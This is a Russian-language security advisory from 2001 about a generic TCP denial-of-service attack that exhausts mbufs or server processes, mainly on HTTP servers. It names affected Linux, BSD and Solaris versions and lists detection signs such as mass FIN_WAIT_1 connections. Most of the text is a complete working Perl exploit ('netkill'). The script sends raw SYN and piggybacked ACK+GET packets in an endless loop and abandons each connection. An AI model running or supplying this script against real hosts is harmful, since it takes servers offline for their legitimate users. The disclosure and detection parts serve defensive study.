24.07.2001

Универсальное удаленное нападение DoS

Эксплуатируя особенности, свойственные TCP протоколу, удаленные нападающие могут инициировать DoS на широкий массив операционных систем. Нападение наиболее эффективно против HTTP серверов. Прилагаемый cценарий Perl демонстрирует эту проблему.

При TCP связи, каждая TCP распределяет некоторые ресурсы каждому подключению. Неоднократно устанавливая TCP подключения и затем, отказываясь от них, злонамеренный хост может связывать существенные ресурсы на сервере. Сервер Unix может выделять некоторый номер mbufs или даже процесс на каждое из таких подключений. Пройдет некоторое время прежде, чем часть ресурсов будет возвращена к системе. Если создать много невыполненных оставленных подключений такого вида, система может разрушаться или просто прекращать обслуживать специфический порт.

Любая система, которая выполняет TCP службу, может быть атакована этим путем. Эффективность такого нападения зависит от очень большого количества факторов. Web серверы особенно уязвимы к такому нападению из-за природы протокола (короткий запрос генерирует произвольно длинный ответ).

Уязвимость может быть использована против различных сервисов. Здесь будет обсуждено, как ее использовать против HTTP серверов. Механизм весьма прост: После инструктирования нашего ядра, чтобы не отвечать на любые пакеты от целевой машины (наиболее легко сделать с использованием систем защиты сетей, поле: с ipfw, " deny any from TARGET to any "), неоднократно инициализируем новое подключение от случайного порта, посылая SYN пакет, ожидая SYN+ACK ответ, и затем посылая наш запрос (можно было бы более традиционно сначала подтверждать SYN+ACK и только затем посылать запрос, но это путь, который экономит пакеты. Нападение является более эффективным, когда этим путем выбран статический файл, а не динамическое содержание. Природа файла не имеет значения (графика, текстовый или просто HTML) но размер обладает большой важностью. Что начнет делать сервер, когда он получает эти поддельные запросы? Прежде всего, ядро обрабатывает установление TCPсвязи; поскольку мы посылаем наш второй пакет, и установление связи таким образом закончено, пользовательское приложение уведомлено о запросе (возвращения системного вызова ввода, подключение теперь установлено). В то время, ядро имеет данные запроса в получении очереди. Процесс читает запрос (который является HTTP/1.0 без какой либо действующей опции), интерпретирует его, и затем записывает некоторые данные в дескриптор файла и закрывает его (подключение входит в состояние FIN_WAIT_1). Процесс тогда использует некоторый съеденный mbufs, если мы достигаем этого пункта.

Это нападение содержит две разновидности: mbufs истощение и насыщенность процесса. При выполнении mbufs истощения ,каждрое подключение использует процесс пользовательского уровня на другом конце, для записи данных без блокировки и закрытия дескриптора. Ядро должно иметь дело со всеми данными, и процесс пользовательского уровня будет освобожден, так, чтобы мы могли посылать большее количество запросов этим путем и в конечном счете потреблять весь mbufs или всю физическую память, если mbufs распределен динамически.

При выполнении насыщенности процесса, каждый хочет, чтобы процесс пользовательского уровня блокировался при попытке записать данные. Архитектура многих HTTP серверов позволяет обслуживать много подключений одновременно. Когда мы достигаем этого числа подключений, сервер прекратит отвечать законным пользователям. Если сервер не помещает связи на числе подключений, мы все еще связываем ресурсы и, в конечном счете, система приходит к краху. Mbufs истощение обычно не имеет никакого видимого эффекта пока мы не достигаем жесткого предела номера кластеров mbuf или mbufs. В этой точке, формируется дамп kernel core, перезагрузка, проверка файловой системы, восстановление дампа ядра - все это отнимающие много времени операции. Все это прекрасно работает с FreeBSD и других BSD основанных платформах. Некоторые другие системы, типа Linux, кажется, распределяют произвольный объем памяти для кластеров mbuf. Как только мы приближаемся к физическому размеру памяти, машина становится полностью непригодной.

Если у вас произошел сбой сервиса, следующие признаки помогут идентифицировать этот инструментс:

* Ваши HTTP серверы имеют сотни или тысячи подключений с 80 портом в состоянии FIN_WAIT_1.

* коэффициент (число уходящих пакетов/номера входящих пакетов) необычно высокий.
* есть большое количество подключений с 80 портом в УСТАНОВЛЕННОМ состоянии, и большинство их имеет одинаковую длину. (Или, есть большие группы подключений, совместно использующих то же самое ненулевое значение длины)

Уязвимость найдена в следующих продуктах:

LINUX:kernel 2.4

NETBSD:NetBSD 1.5

FREEBSD:FreeBSD 4.3

SUN:Solaris 2.8

Эксплоит:

=cut

use strict;

use Net::RawIP ':pcap'; # Available from CPAN.

use Socket;

use Getopt::Std;



# Process command line arguments.

my %options;

getopts('zvp:t:r:u:w:i:d:', \%options) or usage();

my $zero_window = $options{z}; # Close window in second packet?

my $verbose = $options{v}; # Print progress indicators?

my $d_port = $options{p} || 80; # Destination port.

my $timeout = $options{t} || 1; # Timeout for pcap.

my $fake_rtt = $options{r} || 0.05; # Max sleep between SYN and data.

my $url = $options{u} || '/'; # URL to request.

my $window = $options{w} || 16384; # Window size.

my $interval = $options{i} || 0.5; # Sleep time between `connections.'

my $numpackets = $options{d} || -1; # Number of tries (-1 == infty).

my $d_name = shift or usage(); # Target host name.

shift and usage(); # Complain if other args present.



# This is what we send to the remote host.

# XXX: Must fit into one packet.

my $data = "GET $url HTTP/1.0\015\012\015\012"; # Two network EOLs in the end.



my ($d_canon, $d_ip) = (gethostbyname($d_name))[0,4] # Resolve $d_name once.

or die "$d_name: Unknown host\n";

my $d_ip_str = inet_ntoa($d_ip); # Filter wants string representation.

my $dev = rdev($d_name) or die "$d_name: Cannot find outgoing interface\n";

my $s_ip_str = ${ifaddrlist()}{$dev} or die "$dev: Cannot find IP\n";



$| = 1 if $verbose;

print <
Sending to destination $d_canon [$d_ip_str].

Each dot indicates 10 semi-connections (actually, SYN+ACK packets).

EOF



my $hitcount; # Used for progress indicator if $verbose is set.



while ($numpackets--) {

# Unfortunately, there's pcapinit, but there's no way to give

# resources back to the kernel (close the bpf device or whatever).

# So, we fork a child for each pcapinit allocation and let him exit.

my $pid = fork();

sleep 1, next if $pid == -1; # fork() failed; sleep and retry.

for (1..10) {rand} # Need to advance it manually, only children use rand.

if ($pid) {

# Parent. Block until the child exits.

waitpid($pid, 0);

print '.' if $verbose && !$? && !(++$hitcount%10);

select(undef, undef, undef, rand $interval);

}

else {

# Child.

my $s_port = 1025 + int rand 30000; # Randon source port.

my $my_seq = int rand 2147483648; # Random sequence number.

my $packet = new Net::RawIP({tcp => {}});

my $filter = # pcap filter to get SYN+ACK.

"src $d_ip_str and tcp src port $d_port and tcp dst port $s_port";

local $^W; # Unfortunately, Net::RawIP is not -w - OK.

my $pcap;

# If we don't have enough resources locally, pcapinit will die/croak.

# We want to catch the error, hence eval.

eval q{$pcap = $packet->pcapinit($dev, $filter, 1500, $timeout)};

$verbose? die "$@child died": exit 1 if $@;

my $offset = linkoffset($pcap); # Link header length (14 or whatever).

$^W = 1;

# Send the first packet: SYN.

$packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,

tos=>0, id=>int rand 50000},

tcp=> {source=>$s_port, dest=>$d_port, syn=>1,

window=>$window, seq=>$my_seq}});

$packet->send;

my $temp;

# Put their SYN+ACK (binary packed string) into $ipacket.

my $ipacket = &next($pcap, $temp);

exit 1 unless $ipacket; # Timed out waiting for SYN+ACK.

my $tcp = new Net::RawIP({tcp => {}});

# Load $ipacket without link header into a readable data structure.

$tcp->bset(substr($ipacket, $offset));

$^W = 0;

# All we want from their SYN+ACK is their sequence number.

my ($his_seq) = $tcp->get({tcp=>['seq']});

# It might increase the interval between retransmits with some

# TCP implementations if we wait a little bit here.

select(undef, undef, undef, rand $fake_rtt);

# Send ACK for SYN+ACK and our data all in one packet.

# The spec allows it, and it works.

# Who told you about "three-way handshake"?

$packet->set({ip=> {saddr=>$s_ip_str, daddr=>$d_ip_str, frag_off=>0,

tos=>0, id=>int rand 50000},

tcp=> {source=>$s_port, dest=>$d_port, psh=>1, syn=>0,

ack=>1, window=>$zero_window? 0: $window,

ack_seq=>++$his_seq,

seq=>++$my_seq, data=>$data}});

$packet->send;

# At this point, if our second packet is not lost, the connection is

# established. They can try to send us as much data as they want now:

# We're not listening anymore.

# If our second packet is lost, they'll have a SYN_RCVD connection.

# Hopefully, they can handle even a SYN flood.

exit 0;

}

}



exit(0);



sub usage

{

die <
Usage: $0 [-vzw#r#d#i#t#p#]

-v: Be verbose. Recommended for interactive use.

-z: Close TCP window at the end of the conversation.

-p: Port HTTP daemon is running on (default: 80).

-t: Timeout for SYN+ACK to come (default: 1s, must be integer).

-r: Max fake rtt, sleep between S+A and data packets (defeault: 0.05s).

-u: URL to request (default: `/').

-w: Window size (default: 16384). Can change the type of attack.

-i: Max sleep between `connections' (default: 0.5s).

-d: How many times to try to hit (default: infinity).



See "perldoc netkill" for more information.

EOF

}
 

или введите имя

CAPTCHA